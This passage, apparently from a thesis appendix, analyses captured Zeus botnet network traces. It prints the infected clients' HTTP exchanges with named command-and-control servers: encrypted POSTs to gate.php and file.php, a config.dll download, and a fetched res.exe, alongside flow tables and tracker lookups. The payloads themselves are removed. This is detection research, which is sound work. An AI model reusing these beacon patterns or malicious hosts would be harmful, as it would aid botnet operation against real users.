X-Powered-By: PHP/5.4.26-1~dotdeb.0
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=15, max=97
Connection: Keep-Alive
Content-Type: text/html

The fifth request was also a POST method but for the “gate.php” resource. The
request included a message body with no readable text and a length of 376 bytes. The
response, successful status code 200 OK, also included a message body with no readable
text even though the Content-Type header specified Text/Html. The length of the
response message body was 64 bytes.

POST /net/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: bingbangtheory.ru
Content-Length: 376
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
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HTTP/1.1 200 OK
Date: Sun, 30 Mar 2014 13:05:42 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.4.26-1~dotdeb.0
Vary: Accept-Encoding
Content-Length: 64
Keep-Alive: timeout=15, max=96
Connection: Keep-Alive
Content-Type: text/html
( non-readable content removed )

A query of ZeuS Tracker also produced a match for this second domain which had
been associated with a different IP address. The match also indicates that this particular
resource (bingbangtheory.ru/net/gate.php) was a drop zone. Riccardi, Di Pietro,
Palanques, and Vila (2013) report that C&C and drop zone are two names for the main
server that hosts the control panel and receives information from the bots. The domain
name was registered on 28 March 2014, also to a “private person” without further details.

294

Figure A-5: Positive ZeuS Tracker Results for bingbangtheory.ru

For this connection, Argus created seven flows, three for the HTTP requests and
responses, and four with only packets to close the connection.
Table A-65: Flows from Third Connection in File 3f9
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1032

184.22.237.213

80

1.094589

968

735

5

4

1032

184.22.237.213

80

0.769651

846

618

3

2

1032

184.22.237.213

80

0.696703

698

421

2

2

1032

184.22.237.213

80

0.000000

60

54

1

1

1032

184.22.237.213

80

3.605412

120

0

2

0

1032

184.22.237.213

80

0.000000

60

0

1

0

1032

184.22.237.213

80

0.000000

60

0

1

0
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Fourth Connection: Source Port 1033, Destination IP 173.194.112.82
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
This exchange was an example of the Google Webhp redirect and beyond the scope of
this work.

GET /webhp HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.google.com
Cache-Control: no-cache

HTTP/1.1 302 Found
Location: http://www.google.de/webhp?gfe_rd=ctrl&ei=pRY4UzsLOGG8QfXkYCQBA&gws_rd=cr
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Set-Cookie:
PREF=ID=2d16737d3f3c9978:FF=0:TM=1396184742:LM=1396184742:S=mtODtJvDSxK
h2avQ; expires=Tue, 29-Mar-2016 13:05:42 GMT; path=/;
domain=.google.com
Set-Cookie:
NID=67=eCPHhLNc38gVFahYuQWQ4IvnL1CqhQxT4qtNeVCC_VtqGs1pDyz6f7eBLTPINOpo
7JpM-fk7lXn3nZgFiVAZpGbMliRHSMAMBlgztq0zUqUHSFNFkdNF0w9KGbZNhPjF;
expires=Mon, 29-Sep-2014 13:05:42 GMT; path=/; domain=.google.com;
HttpOnly
P3P: CP="This is not a P3P policy! See
http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=15165
7 for more info."
Date: Sun, 30 Mar 2014 13:05:42 GMT
Server: gws
Content-Length: 279
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X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic
Connection: close
( html content removed )

A query of ZeuS Tracker produced no matches for the IP address or domain name of
the server observed in this connection. A query using whois indicated that this IP address
belongs to a block assigned to Google, Inc.
For this connection, Argus created one flow.
Table A-66: Flows from Fourth Connection in File 3f9
sport
1033

daddr

dport

173.194.112.82

80

dur
0.628610

sbytes

dbytes

spkts

dpkts

467

1422

5

5

Fifth Connection: Source Port 1034, Destination IP 173.194.112.88
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
This exchange was an example of the Google Webhp redirect and beyond the scope of
this work.

GET /webhp?gfe_rd=ctrl&ei=pRY4U-zsLOGG8QfXkYCQBA&gws_rd=cr HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Cache-Control: no-cache
Host: www.google.de
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HTTP/1.1 200 OK
Date: Sun, 30 Mar 2014 13:05:42 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Set-Cookie:
PREF=ID=2757e05cb728038a:FF=0:TM=1396184742:LM=1396184742:S=zOfTqNQdLRxOCRN; expires=Tue, 29-Mar-2016 13:05:42 GMT; path=/;
domain=.google.de
Set-Cookie:
NID=67=dT7vyHjGTeGTZ2S9kWgVyLI7cuNXTBf1fg_SkR7XUVHkwyONRGuX77PmJjhNxXFA
cMBxscXlZJRoUnpRuaSM28Ekv4FJIHqgygDSu7kfcfhEoe_Yv_vrI7heduecDBix;
expires=Mon, 29-Sep-2014 13:05:42 GMT; path=/; domain=.google.de;
HttpOnly
P3P: CP="This is not a P3P policy! See
http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=15165
7 for more info."
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic
Connection: close
( html/script content removed )

A query of ZeuS Tracker produced no matches for the IP address or domain name of
the server observed in this connection. A query using whois indicated that this IP address
belongs to a block assigned to Google, Inc.
For this connection, Argus created one flow.
Table A-67: Flows from Fifth Connection in File 3f9
sport
1034

daddr
173.194.112.88

dport
80

dur
0.618048

sbytes

dbytes

spkts

dpkts

1294

30496

18

25
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Sixth Connection: Source Port 1038, Destination IP 184.22.237.213
The HTTP content over this TCP connection consisted of five requests from the local
client to the remote server with corresponding responses from the remote server. Each of
the requests used the POST method specifying the “gate.php” resource and contained a
message body with no readable text. Four of the five message bodies were of different
lengths, and all had unique content. All of the responses reported successful status code
200 OK and included message bodies with no readable text. All of the response message
bodies were 64 bytes in length, but with unique content.

POST /net/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: bingbangtheory.ru
Content-Length: 525
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Sun, 30 Mar 2014 13:08:42 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.4.26-1~dotdeb.0
Vary: Accept-Encoding
Content-Length: 64
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
( non-readable content removed )

299

POST /net/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: bingbangtheory.ru
Content-Length: 1213
Connection: Keep-Alive
Cache-Control: no-cache

( non-readable content removed )
HTTP/1.1 200 OK
Date: Sun, 30 Mar 2014 13:08:42 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.4.26-1~dotdeb.0
Vary: Accept-Encoding
Content-Length: 64
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html
( non-readable content removed )

POST /net/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: bingbangtheory.ru
Content-Length: 538
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
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HTTP/1.1 200 OK
Date: Sun, 30 Mar 2014 13:08:42 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.4.26-1~dotdeb.0
Vary: Accept-Encoding
Content-Length: 64
Keep-Alive: timeout=15, max=98
Connection: Keep-Alive
Content-Type: text/html
( non-readable content removed )

POST /net/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: bingbangtheory.ru
Content-Length: 538
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Sun, 30 Mar 2014 13:08:43 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.4.26-1~dotdeb.0
Vary: Accept-Encoding
Content-Length: 64
Keep-Alive: timeout=15, max=97
Connection: Keep-Alive
Content-Type: text/html
( non-readable content removed )
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POST /net/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: bingbangtheory.ru
Content-Length: 4164
Connection: Keep-Alive
Cache-Control: no-cache

( non-readable content removed )
HTTP/1.1 200 OK
Date: Sun, 30 Mar 2014 13:08:43 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.4.26-1~dotdeb.0
Vary: Accept-Encoding
Content-Length: 64
Keep-Alive: timeout=15, max=96
Connection: Keep-Alive
Content-Type: text/html
( non-readable content removed )

For this connection, Argus created three flows, one for the HTTP requests and
responses and two with only packets to close the connection.
Table A-68: Flows from Sixth Connection in File 3f9
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1038

184.22.237.213

80

2.112349

8742

2114

13

10

1038

184.22.237.213

80

0.000000

60

54

1

1

1038

184.22.237.213

80

0.000000

60

0

1

0
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Seventh Connection: Source Port 1039, Destination IP 184.22.237.213
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
The request to POST the “file.php” resource included a message body with no readable
text and a length of 122 bytes. The response, successful status code 200 OK, also
included a message body with no readable text. The response included a ContentDisposition header with tokens indicating that the content should be handled as a file
named “config.dll” and a Content-Type header specifying Application/Octet-stream for
the content. The length of the response message body was 30368 bytes. The content was
the same as that of the response in the second connection which also specified the same
“config.dll” filename.

POST /net/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: crayolabank.ru
Content-Length: 122
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Sun, 30 Mar 2014 13:09:14 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.4.26-1~dotdeb.0
Cache-Control: public
Content-Disposition: attachment; filename="%2e/files/config.dll"
Content-Transfer-Encoding: binary
Content-Length: 30368
Keep-Alive: timeout=15, max=100
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Connection: Keep-Alive
Content-Type: application/octet-stream

( non-readable content removed )

For this connection, Argus created one flow.
Table A-69: Flows from Seventh Connection in File 3f9
sport
1039

daddr
184.22.237.213

dport
80

dur
1.756411

sbytes

dbytes

spkts

dpkts

1463

32149

19

26

The behavior observed in the connections of this sample file (3f9) showed both
similarities and differences to that reported by Alserhani, Akhlaq, Awan, and Cullen
(2010), Binsalleeh, Ormerod, Boukhtouta, Sinha, Youssef, Debbabi, and Wang (2010),
and Riccardi, Di Pietro, Palanques, and Vila (2013). Here the infected client appeared to
request updated configuration files with a POST method as opposed to the GET method
reported by Alserhami, et al. (2010), Binsalleeh et al. (2010), and Riccardi et al. (2013).
The resource here was named “file.php” as opposed to the name “config.bin” reported by
these researchers. The client appeared to send information with another POST method,
this time using the resource named “gate.php” which does match what was previously
reported. The interval between requests for configuration file updates was four minutes.
The interval between requests to send information was three minutes. A notable
difference observed in this sample file was the use of a second remote server. As
reported by Riccardi et al., the Zeus ecosystem can consist of two or three entities. When
it’s three entities, separate servers are used for C&C and for hosting of the configuration
files. The C&C server has the control panel and receives the data from the bots. The
other server provides the updated configuration files. When it’s two entities, those
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functions are combined on a single server. The infected client is the other entity. In this
sample file, the server crayolabank.ru provided the configuration file updates and the
server bingbangtheory.ru received the status updates from the infected client.
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Sample File 3b7 collected on 12 Mar 2014 with total time 4 minutes 47 seconds
This network trace sample file consisted of six successful TCP connections, as
summarized in the following table. A column is included in the table to indicate whether
the connection was preceded by a DNS query when the HTTP Host Header field
specified a domain name as opposed to an IP address. In this case a domain name was
specified for the suspicious server.
Table A-70: Summary of Connections in File 3b7
Source Port

Destination IP

HTTP Host Header

DNS?

1034

80.239.159.24

www.download.windowsupdate.com

Yes

1035

173.194.70.104

www.google.com

Yes

1036

173.194.70.94

www.google.de

Yes

1037

188.226.212.147

delapotalcopa.pw

Yes

1038

188.226.212.147

delapotalcopa.pw

n/a

1039

188.226.212.147

delapotalcopa.pw

n/a

First Connection: Source Port 1034, Destination IP 80.239.159.24
The HTTP content over this TCP connection consisted of two requests from the local
client to the remote server with corresponding responses from the remote server. These
exchanges were examples of a Microsoft Windows periodic update.

GET /msdownload/update/v3/static/trustedr/en/authrootseq.txt HTTP/1.1
Accept: */*
User-Agent: Microsoft-CryptoAPI/5.131.2600.5512
Host: www.download.windowsupdate.com
Connection: Keep-Alive
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Cache-Control: no-cache
Pragma: no-cache

HTTP/1.1 200 OK
Content-Type: text/plain
Last-Modified: Wed, 12 Mar 2014 05:29:31 GMT
Accept-Ranges: bytes
ETag: "806f4cbb43dcf1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Content-Length: 18
Cache-Control: max-age=4558
Date: Fri, 28 Mar 2014 03:20:02 GMT
Connection: keep-alive
X-CCC: NO
X-CID: 2
(binary content removed)

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1
Accept: */*
User-Agent: Microsoft-CryptoAPI/5.131.2600.5512
Host: www.download.windowsupdate.com
Connection: Keep-Alive
Cache-Control: no-cache
Pragma: no-cache

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Last-Modified: Wed, 12 Mar 2014 20:20:10 GMT
Accept-Ranges: bytes
ETag: "0b96c77303ecf1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
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Content-Length: 54007
Cache-Control: max-age=10031
Date: Fri, 28 Mar 2014 03:20:03 GMT
Connection: keep-alive
X-CCC: NO
X-CID: 2
(binary content removed)

A query of ZeuS Tracker produced no matches for the IP address or domain name of
the server in this connection. A query using whois indicated that this IP address belongs
to a block assigned to Akamai, a popular content distribution network (CDN) service
provider. The domain name was registered in 1997 to Microsoft Corporation.
For this connection, Argus created two flows, one for the HTTP requests and
responses and one with a packet to close the connection.
Table A-71: Flows from the First Connection in File 3b7
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1034

80.239.159.24

80

0.970389

2150

57067

28

44

1034

80.239.159.24

80

0.000000

60

0

1

0

Second Connection: Source Port 1035, Destination IP 173.194.70.104
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
This exchange was an example of the Google Webhp redirect and beyond the scope of
this work.
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GET /webhp HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.google.com
Cache-Control: no-cache

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: http://www.google.de/webhp?gfe_rd=cr&ei=eo0U4WsHsbh_Aa57IGAAg
Content-Length: 263
Date: Fri, 28 Mar 2014 03:20:27 GMT
Server: GFE/2.0
Alternate-Protocol: 80:quic
Connection: close
( html content removed )

A query of ZeuS Tracker produced no matches for the IP address or domain name of
the server in this connection. A query using whois indicated that this IP address belongs
to a block assigned Google, Inc.
For this connection, Argus created one flow.
Table A-72: Flows from the Second Connection in File 3b7
sport
1035

daddr
173.194.70.104

dport
80

dur
0.406644

sbytes

dbytes

spkts

dpkts

467

824

5

5
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Third Connection: Source Port 1036, Destination IP 173.194.70.94
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
This exchange was an example of the Google Webhp redirect and beyond the scope of
this work.

GET /webhp?gfe_rd=cr&ei=e-o0U4WsHsbh_Aa57IGAAg HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Cache-Control: no-cache
Host: www.google.de

HTTP/1.1 200 OK
Date: Fri, 28 Mar 2014 03:20:28 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Set-Cookie:
PREF=ID=e72611090f7d6620:FF=0:TM=1395976827:LM=1395976828:S=I7ioIueBoyY
QVcO1; expires=Sun, 27-Mar-2016 03:20:28 GMT; path=/; domain=.google.de
Set-Cookie: NID=67=OPfUMWCHRpBSlyR8TXm3dLr7r7Va6LiQLJhrtTuy6Ydx2gzsfVceQ_kEe3HHS22Xoz5M3_SCNXC47Fprwx0YZYfUuEyhxpfzcgorQIRbNRdd1fV6QUi2vq8xO3
h-ox; expires=Sat, 27-Sep-2014 03:20:28 GMT; path=/; domain=.google.de;
HttpOnly
P3P: CP="This is not a P3P policy! See
http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=15165
7 for more info."
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic
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Connection: close
( html/script content removed )

A query of ZeuS Tracker produced a match for the IP address but not the domain
name of the server in this connection. This is likely a false positive. A query using
whois indicated that this IP address belongs to a block assigned to Google, Inc., which is
consistent with the web site specified by the Host header.

Figure A-6: Positive ZeuS Tracker Results for 173.194.70.94

For this connection, Argus created one flow.
Table A-73: Flows from the Third Connection in File 3b7
sport
1036

daddr
173.194.70.94

dport
80

dur
0.632747

sbytes

dbytes

spkts

dpkts

1282

30538

18

25

311

Fourth Connection: Source Port 1037, Destination IP 188.226.212.147
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
The request, a POST method, specified a resource named “post2host.php” along with its
relative path. The request contained a message body with no readable text and a length
of 376 bytes. The response, successful status code 200 OK, also included a message
body with no readable text. Its length was 129 bytes, not the more common 64 bytes.

POST /base/post2host.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: delapotalcopa.pw
Content-Length: 376
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Server: nginx/1.4.6
Date: Fri, 28 Mar 2014 03:20:30 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 129
Connection: keep-alive
X-Powered-By: PHP/5.4.25
( non-readable content removed )

A query of ZeuS Tracker produced no matches for the IP address or domain name of
the server in this connection. A query using whois indicated that this IP address belongs
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to a block assigned to an entity in the United States. The domain name was registered on
11 March 2014 to an individual in Russia.
For this connection, Argus created one flow.
Table A-74: Flows from the Fourth Connection in File 3b7
sport
1037

daddr

dport

188.226.212.147

80

dur
4.032442

sbytes

dbytes

spkts

dpkts

1005

649

7

6

Fifth Connection: Source Port 1038, Destination IP 188.226.212.147
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
The request, a GET method, specified a resource named “res.exe” along with its relative
path. The request did not contain a message body. The response, successful status code
200 OK, did include a message body with some readable text. Application/Octet-stream
was specified in the Content-Type header and the MZ header “This program cannot be
run in DOS mode” was contained in the first line of the message body.

GET /base/res.exe HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: delapotalcopa.pw
Cache-Control: no-cache

HTTP/1.1 200 OK
Server: nginx/1.4.6
Date: Fri, 28 Mar 2014 03:20:30 GMT
Content-Type: application/octet-stream
Content-Length: 346624
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Connection: close
Last-Modified: Thu, 27 Mar 2014 22:28:35 GMT
ETag: "6320667-54a00-4f59e1b176ac0"
Accept-Ranges: bytes
MZ......................@..............................................
.!..L.!This program cannot be run in DOS mode.
( non-readable content removed )

For this connection, Argus created one flow.
Table A-75: Flows from the Fifth Connection in File 3b7
sport
1038

daddr
188.226.212.147

dport
80

dur
3.723237

sbytes

dbytes

spkts

dpkts

10556

361153

173

264

Sixth Connection: Source Port 1039, Destination IP 188.226.212.147
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
The request, a POST method, specified a resource named “post2host.php” along with its
relative path. The request did include a message body with a length of 209 and no
readable text. The response, successful status code 200 OK, included a message body
with a length of 64 bytes and no readable text.

POST /base/post2host.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: delapotalcopa.pw
Content-Length: 209
Connection: Keep-Alive
Cache-Control: no-cache
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( non-readable content removed )
HTTP/1.1 200 OK
Server: nginx/1.4.6
Date: Fri, 28 Mar 2014 03:20:34 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 64
Connection: keep-alive
X-Powered-By: PHP/5.4.25
( non-readable content removed )

For this connection, Argus created two flows, one for the HTTP request and response
and one with only a packet to close the connection.
Table A-76: Flows from the Sixth Connection in File 3b7
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1039

188.226.212.147

80

1.255460

718

475

5

4

1039

188.226.212.147

80

0.000000

60

0

1

0

The behavior observed in the connections of this sample file (3b7) was very similar to
the behavior observed in the connections of sample file 9ca. An encrypted response
longer than 64 bytes to information posted from the infected client resulted in a
subsequent GET method request for an executable file. In this case, however, the file
description embedded in the string table of this Windows executable file was “IME Open
Extended Dictionary Manager” with an original filename of “imeextdictionary_mgr.”
It’s not clear why dictionary functionality was provided to the bot. This has not been
previously reported.
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Sample File 058 collected on 04 Apr 2014 with total time 4 minutes 44 seconds
This network trace sample file consisted of three successful TCP connections, as
summarized in the following table. A column is included in the table to indicate whether
the connection was preceded by a DNS query when the HTTP Host Header field
specified a domain name as opposed to an IP address. In this case a domain name was
specified for the suspicious server.
Table A-77: Summary of Connections in File 058
Source Port

Destination IP

HTTP Host Header

DNS?

1030

95.128.157.163

www.decoagua.com

Yes

1031

95.128.157.163

www.decoagua.com

n/a

1032

95.128.157.163

www.decoagua.com

n/a

First Connection: Source Port 1030, Destination IP 95.128.157.163
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
The request, a POST method, specified a resource named “index.php” along with its
relative path. The request included a message body of 67 bytes with no readable text.
The response, successful status code 200 OK, included a message body of 34441 bytes.
The filename “deco.bin” was specified for this message body using the ContentDisposition header.

POST /es/plugins/config/index.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close

316

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.decoagua.com
Content-Length: 67
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Fri, 04 Apr 2014 09:40:43 GMT
Server: Apache/2.2.17 (Linux/SUSE)
X-Powered-By: PHP/5.3.5
Content-Disposition: attachment; filename=deco.bin
Content-Length: 34441
Content-Transfer-Encoding: binary
Connection: close
Content-Type: text/plain
( non-readable content removed )

A query of ZeuS Tracker produced a match for both the IP address and domain name
of the server in this connection. A query using whois indicated that this IP address
belongs to a block assigned to a service provider in Spain. The domain name was
registered in 2013 to an individual in Spain.
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Figure A-7: Positive ZeuS Tracker Results for 95.128.157.163

For this connection, Argus created one flow.
Table A-78: Flows from the First Connection in File 058
sport
1030

daddr
95.128.157.163

dport
80

dur
1.210800

sbytes

dbytes

spkts

dpkts

1648

36341

22

30

Second Connection: Source Port 1031, Destination IP 95.128.157.163
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
The request, a POST method, specified a resource named “gate.php” along with its
relative path. The request included a message body of 290 bytes with no readable text.
The response, successful status code 200 OK, included a message body of 64 bytes. The
response message body contained no readable text even though Text/Html was specified
in the Content-Type header.
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POST /es/plugins/adm/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.decoagua.com
Content-Length: 290
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Fri, 04 Apr 2014 09:41:13 GMT
Server: Apache/2.2.17 (Linux/SUSE)
X-Powered-By: PHP/5.3.5
Content-Length: 64
Connection: close
Content-Type: text/html
( non-readable content removed )

For this connection, Argus created one flow.
Table A-79: Flows from the Second Connection in File 058
sport
1031

daddr
95.128.157.163

dport
80

dur
0.488812

sbytes

dbytes

spkts

dpkts

804

523

5

5

Third Connection: Source Port 1032, Destination IP 95.128.157.163
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
The request, a POST method, specified a resource named “gate.php” along with its
relative path. The request included a message body of 390 bytes with no readable text.
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The response, successful status code 200 OK, included a message body of 64 bytes. The
message body contained no readable text even though Text/Html was specified in the
response Content-Type header.

POST /es/plugins/adm/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.decoagua.com
Content-Length: 390
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Fri, 04 Apr 2014 09:41:13 GMT
Server: Apache/2.2.17 (Linux/SUSE)
X-Powered-By: PHP/5.3.5
Content-Length: 64
Connection: close
Content-Type: text/html
( non-readable content removed )

For this connection, Argus created one flow.
Table A-80: Flows from the Third Connection in File 058
sport
1032

daddr
95.128.157.163

dport
80

dur
0.568172

sbytes

dbytes

spkts

dpkts

904

523

5

5

The behavior observed in the connections of this sample file (058) again differs from
that reported in the literature in that the POST method was used to request a file update
instead of the GET method. The POST method with default resource name “gate.php”
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was used by the infected client to send information to the server, consistent with behavior
previously reported in the literature. The 64-byte response from the server to these
requests was noted here as in the previous sample files. Although more than three and a
half minutes remained in the trace, no subsequent requests were observed. This suggests
that the update intervals for requesting files and posting information were longer than
three minutes.

Appendix Summary and Findings
The detailed analysis presented in this appendix produced new knowledge about the
network behavior of contemporary variants of the Zeus botnet from samples captured in
the wild during March and April of 2014. A total of fifteen sample network trace files
were examined. Seven of the samples, all those that employed the domain generation
algorithm, were found to contain no HTTP POST requests and therefore deferred for
publication elsewhere. The infected clients in those samples did not send any content to
the malicious servers, detection of which was the focus of this research. Eight of the
samples were found to contain POST requests with encrypted content, consistent with the
communications behavior reported for Zeus by other researchers (Al-Bataineh & White,
2012; Alserhani, Akhlaq, Awan, & Cullen, 2010; Binsalleeh, Ormerod, Boukhtouta,
Sinha, Youssef, Debbabi, & Wang, 2010; Riccardi, Di Pietro, Palanques, & Vila, 2013).
The HTTP requests and responses in each of these samples were thoroughly analyzed at
the inter-packet level to gain deeper insight into their observable network behavior and to
determine which corresponding netflows would be most appropriate for training and
testing the detection techniques in this research.
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Discovering Zeus servers that were not previously reported was an expected outcome
of this analysis given that these were new sample traces provided by the operators of
Sandnet and that criminal operators of Zeus servers dynamically change hostnames and
IP addresses to avoid detection. After a thorough search of the Internet for information
about the Zeus botnet, the ZeuS Tracker web site (https://zeustracker.abuse.ch/) was
found to be the most comprehensive and authoritative reference for previously observed
Zeus servers and therefore used in this research. Six of the IP addresses and four of the
domain names were new discoveries.
Discovering new resource names and filenames was also an expected outcome of this
analysis, since these are under the criminal operator’s control and would seem obvious
items to change in order to elude detection techniques that rely on fixed strings.
Discovering variations in the request intervals was also expected since this parameter is
also under the operator’s control and is enabled by the Zeus crimeware toolkit (AlBataineh & White, 2012; Riccardi, Di Pietro, Palanques, & Vila, 2013). An unexpected
discovery was the use of the HTTP POST method by infected clients to request file
updates. None of the previous research teams (Al-Bataineh & White, 2012; Alserhani,
Akhlaq, Awan, & Cullen, 2010; Binsalleeh, Ormerod, Boukhtouta, Sinha, Youssef,
Debbabi, & Wang, 2010; Riccardi, Di Pietro, Palanques, & Vila, 2013) reported this
technique in their findings. Only one of the eight sample files, file 054, included
successful requests by the infected client for configuration file updates using the GET
method as reported in the literature. File 32c, included requests by the infected client
using the GET method which appeared to be for configuration file updates, but none of
the requests resulted in a successful response. File 3b7 did not include a request for
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configuration file updates using either method but did include a request using the GET
method for a supplemental file. This followed an apparent command from the server in
response to the previous request using the POST method. This use of the GET method
was also observed in file 9ca.
The use of the POST method with encrypted payload to request configuration file
updates is significant for multiple reasons. It represents a more sophisticated technique
than the use of GET with no payload because it allows additional information to be sent
along with the request. This capability could be leveraged to reduce the frequency of
network connections and reduce the malware’s overall footprint, for example. This new
technique also alters the reported, and therefore expected, network behavior of a host
infected with Zeus that some intrusion detection techniques may depend on.
Each of the eight sample files analyzed here were found to include TCP connections
with Zeus HTTP requests and responses that were suitable for training and testing
detection methods. Only two of the files were missing primary elements of the Zeus
communications pattern described as requesting and receiving updated configuration files
and sending status updates and stolen data (Al-Bataineh & White, 2012; Alserhani,
Akhlaq, Awan, & Cullen, 2010; Binsalleeh, Ormerod, Boukhtouta, Sinha, Youssef,
Debbabi, & Wang, 2010; Riccardi, Di Pietro, Palanques, & Vila, 2013). In aggregate, the
files presented a reasonably complete and diverse set of samples for this research. Some
previous researchers reported using a larger number of Zeus samples, but none reported
using Zeus datasets with as much variety. Mohaisen and Alrawi (2013) reported using a
dataset of 1,980 Zeus samples but did not elaborate on the relative homogeneity of the
data. Al-Bataineh and White (2012) reported that 239 examples in their dataset
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established connections with C&C servers. They did not comment on the number of
Zeus variants, but their findings suggested a homogeneous set. Because the focus of their
research was different, Alserhani, Akhlaq, Awan, and Cullen (2010), Binsalleeh et al.
(2010), and Riccardi et al. (2013) used the Zeus crimeware toolkit to create a single
variant of Zeus for their respective network analyses.

